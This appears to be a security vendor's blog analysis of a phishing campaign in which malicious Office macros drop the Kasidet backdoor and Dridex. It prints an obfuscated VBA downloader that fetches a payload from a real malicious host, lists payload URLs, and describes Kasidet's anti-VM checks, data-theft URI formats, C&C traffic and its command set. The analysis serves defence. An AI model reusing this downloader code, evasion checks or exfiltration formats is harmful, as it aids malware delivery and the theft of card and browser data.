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Malicious Office files dropping Kasidet and Dridex

Introduction

We have covered Dridex Banking Trojan being delivered via various campaigns involving Office documents with malicious VBA macros in the past. However, over the past two weeks we are seeing these malicious VBA macros leveraged to drop Kasidet backdoor in addition to Dridex on the infected systems. These malicious Office documents are being spread as an attachment using spear phishing emails as described here. The malicious macro inside the Office document is obfuscated as shown in the code snapshot below -

```
Dim KEYCODE_7() As Variant
KEYCODE_7 = Array(8653, 8665, 8665, 8661, 8607, 8596, 8596, 8665, 8663, 8654, 8659, 8654, 8665, 8670, 8595, 8646, 8649, 8594, 8667, 8650, 8659, 866
8650, 8664, 8596, 8687, 8606, 8606, 8656, 8604, 8653, 8652, 8601, 8596, 8647, 8601, 8600, 8605, 8604, 8656, 8651, 8649, 8595, 8650, 8663, 8650)
KEYCODE_1.Open UCase(Mid("handger", 5, 2)) + "T", AddFieldToField(KEYCODE_7, 49), False    GET http://trinity.ad-ventures.es/l9k7hg4/b4387k
```

```
Public Function AddFieldToField(KEYCODE_9() As Variant, KEYCODE_10 As Integer) As Str
    Dim KEYCODE_8 As Integer
    Dim RUMPUST_2_1 As String
    RUMPUST_2_1 = ""
    For KEYCODE_8 = LBound(KEYCODE_9) To UBound(KEYCODE_9)
        RUMPUST_2_1 = RUMPUST_2_1 & Chr(KEYCODE_9(KEYCODE_8) - KEYCODE_10 - 7000 - 10
    Next KEYCODE_8
    AddFieldToField = RUMPUST_2_1
End Function
```

Macro code

The macro downloads malware payload from the hardcoded URL. We have seen following URLs used in different document payloads that we captured for this campaign:

- armandosofsalem[.]com/l9k7hg4/b4387kfd[.]exe
- trinity.ad-ventures[.]es/l9k7hg4/b4387kfd[.]exe
- 188.226.152[.]172/l9k7hg4/b4387kfd[.]exe

In this blog, we will provide a detailed analysis for the Kasidet variant that we spotted in this campaign.

Kasidet Analysis

Installation:

Kasidet installs itself into %APPDATA% folder. It creates a new folder there with the name "Y1FeZFVYXllb", this string is hardcoded in the malware. The same string is used as mutex name and in creating a Registry key for ensuring persistence upon system reboot.

AntiVM Check:

Kasidet tries to detect analysis systems during execution through following checks.
Checking Dubugger through "IsDebuggerPresent" and "CheckRemoteDebuggerPresent" Windows APIs. It also checks for the following popular sandbox related strings:

User Name: "MALTEST", "TEQUILABOOMBOOM", "SANDBOX", "VIRUS", "MALWARE"
File Name: "SAMPLE", "VIRUS", "SANDBOX"

It tries to detect wine software by checking if kernel32.dll is exporting "wine_get_unix_file_name" function or not. It detects Vmware, VirtualBox, QEMU and Bochs by checking for following registry entries:

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Vmware	"SOFTWARE\\VMware, Inc.\\VMware Tools"
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VirtualBox	"HARDWARE\\Description\\System", "SystemBiosVersion" , "VBOX" SOFTWARE\\Oracle\\VirtualBox Guest Additions" "HARDWARE\\Description\\System", "VideoBiosVersion" , "VIRTUALBOX"
QEMU	"HARDWARE\DEVICEMAP\Scsi\Scsi Port \Scsi Bus \Target Id \Logical Unit Id ", "Identifier" , "QEMU" "HARDWARE\\Description\\System" , "SystemBiosVersion" , "QEMU"
Bochs	"HARDWARE\\Description\\System" , "SystemBiosVersion" , "BOCHS"

Information Stealing capabilities:

Kasidet uses following two methods for stealing information from the victim's machine:

1. Memory Scraping – This allows Kasidet to steal credit card data from the memory of **Point-Of-Sale (POS) systems**. It scans the memory of all the running processes except the operating system processes listed below:
System
smss.exe
csrss.exe
winlogon.exe
lsass.exe
spoolsv.exe
devenv.exe

The stolen information is relayed back to the attacker using following URI format –

d=1&id=<MachineID>&name=<SystemName>&type=<Track1 or Track2 data>&data=<stolen data>&p= < Process elevation status >

2. Browser Hooking – This allows Kasidet to steal data from Web browsers. It can inject code into FireFox, Chrome, and Internet Explorer (IE). Browser names are not saved in plain text and instead this variant uses the same hash function as used by Carberp malware to encrypt the browser names. The following APIs are hooked in the web browser for stealing sensitive data:

Browser	API
FireFox	PR_Write
Chrome	WSASend
IE	HttpSendRequestW , InternetWriteFile

The stolen information is relayed back to the attacker using following URI format –

ff=1&id=<MachineID>&name=<SystemName>&host=<Base64 encoded host name>&form=< Base64 encoded HTTP header data>&browser=<Browser name>

The information stealing feature of this Kasidet variant were deactivated if the system locale or GeoUserID corresponds to Russia.

Network communication:

Kasidet contains a hardcoded list of Command & Control (C&C) server locations. It uses CryptStringToBinary API call to decrypt the embedded C&C URLs as seen below:

Kasidet C&C list

Upon successful infection, Kasidet sends a HTTP POST request with data "enter=1" (without quotes). All HTTP header fields (User-Agent, Content-type and Cookie) are hard coded in the payload itself.

Kasidet Hardcoded HTTP fields

C&C Server will not return required data if HTTP header fields are different. The server sends a fake 404 response code and html data stating that page is not found but the C&C commands will be hidden in the response HTML comment tag as seen below:

```
POST /few/tasks.php HTTP/1.0
Host: akexadyzyt.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/38.0
Content-type: application/x-www-form-urlencoded
Cookie: auth=bc00595440e801f8a5d2a2ad13b9791b
Content-length: 7

enter=1
.HTTP/1.1 404 Not Found
Server: nginx/1.8.0
Date: Wed, 13 Jan 2016 09:20:40 GMT
Content-Type: text/html; charset=utf8
Content-Length: 228
Connection: close
X-Powered-By: PHP/5.4.45-0+deb7u1
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</
TITLE></HEAD><BODY><H1>Not Found</H1>The requested URL /few/tasks.php was not found on
this server.</BODY></HTML><!-- DEBUGc3VjY2Vzcw==ENDOF -->
```

Kasidet - First communication with C&C

Kasidet will request for additional commands from the C&C server with the following POST request:

```
POST /few/tasks.php HTTP/1.0
Host: akexadyzyt.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/38.0
Content-type: application/x-www-form-urlencoded
Cookie: auth=bc00595440e801f8a5d2a2ad13b9791b
Content-length: 113

cmd=1&id=11be1d15%2D00f2%2D4bb3%2Db733%2Dcaba205a1edf&name=704672&os=Win%20XP%20(32-bit)&p=0&av=N%252FA&v=4.48
.HTTP/1.1 404 Not Found
Server: nginx/1.8.0
Date: Wed, 13 Jan 2016 09:20:41 GMT
Content-Type: text/html; charset=utf8
Content-Length: 252
Connection: close
X-Powered-By: PHP/5.4.45-0+deb7u1
Vary: Accept-Encoding

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>Not
this server.</BODY></HTML><!-- DEBUGMTQ0NDYzMzk0Mjg2MDA0NSNyYXRlIDE1Iw==ENDOF -->
```

Kasidet request for additional commands

Variable	Descriptions
cmd	Command. It is hardcoded in the malware payload as '1'.
id	MachineGuid value fetched from Software\Microsoft\Cryptography registry key
name	System Name
os	Operating system version
p	Process elevation status
av	Antivirus installed on the infected system
v	Version of the bot. It is hardcoded in the malware. Current version that we analysed is 4.4
w	Flag that indicates whether the system locale and UserGeoID is Russia

Like browser names, all the command strings are also encrypted using a hash function. Below are some of the important commands:

Command Hash	Description
0x0E587A65 (rate <number>)	It is used in sleep function
0x89127D3	DDOS using HTTP protocol
0x0B37A84B6	Start keylogging and screen capture threads
0x89068E8h	Download and execute additional component. This file can be DLL, EXE or VBS.
0x4A9981B7	Search for given process name in current running processes in the system
0x8D26744	Find given file in system and upload to the server
0CAB1E64A	Drop setting.bin file, change firewall settings to download and execute plugin component
0x10E6C4	Execute given command using windows cmd.exe

Conclusion

Malicious Office document file is a popular vector for malware authors to deliver their payloads. Dridex authors have leveraged this technique for over a year and it was interesting to see the same campaign and URLs being leveraged to deliver Kasidet payloads. While this does not establish any links between the two malware family authors, it reaffirms the fact that a lot of the underlying infrastructure and delivery mechanisms are often shared by these cyber criminals.

ThreatLabZ is actively monitoring this threat and ensuring signature coverage for Zscaler customers.

Analysis by - Abhay Yadav, Avinash Kumar and Nirmal Singh

POSTED BY NIRMAL SINGH AT 6:46 AM

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LABELS: DRIDEX, KASIDET, MALICIOUS DOCUMENT

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